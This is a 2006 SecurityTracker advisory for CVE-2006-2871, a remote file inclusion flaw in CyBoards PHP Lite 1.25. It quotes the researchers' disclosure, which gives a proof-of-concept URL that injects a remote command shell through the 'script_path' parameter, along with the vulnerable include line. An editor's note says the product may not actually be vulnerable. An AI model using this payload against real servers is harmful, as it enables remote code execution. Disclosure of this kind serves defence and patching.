CyBoards PHP Lite Include File Bug in 'include/common.php' Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016225 |
|
SecurityTracker URL: http://securitytracker.com/id/1016225
|
|
CVE Reference:
CVE-2006-2871
(Links to External Site)
|
Updated: Jun 15 2006
|
Original Entry Date: Jun 6 2006
|
Impact:
Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 1.25
|
Description:
A vulnerability was reported in CyBoards PHP Lite. A remote user can include and execute arbitrary code on the target system.
The 'include/common.php' script does not properly validate user-supplied input in the 'script_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/path/include/common.php?script_path=CmdShell
SpC-x and The-BeKiR reported this vulnerability.
[Editor's note: From code inspection, the '/include/common.php' script includes the '/include/config.php' script and that the 'include/config.php' script defines the $script_path parameter. This indicates that the product itself may not be vulnerable.]
|
Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.gold-sonata.com/forums/ (Links to External Site)
|
Cause:
Input validation error, State error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: 4 Jun 2006 15:17:07 -0000
Subject: CyBoards PHP Lite v1.25 (common.PHP) Remote File Inclusion
|
######################################################
# CyBoards PHP Lite v1.25 (common.PHP) Remote File Inclusion
######################################################
# Credit : SpC-x | The-BeKiR
# Site : http://wWw.SaVSaK.CoM
######################################################
# Greetz :
# | Nukedx | Ejder | Str0ke | joffer | Poizonb0x |
######################################################
Remote File Inclusion :
http://www.target.com/path/include/common.php?script_path=CmdShell
Common.PHP :
include("/home/www/forums/include/config.php");
include($script_path."/db/mysql.php");
/SpC-x
|
|
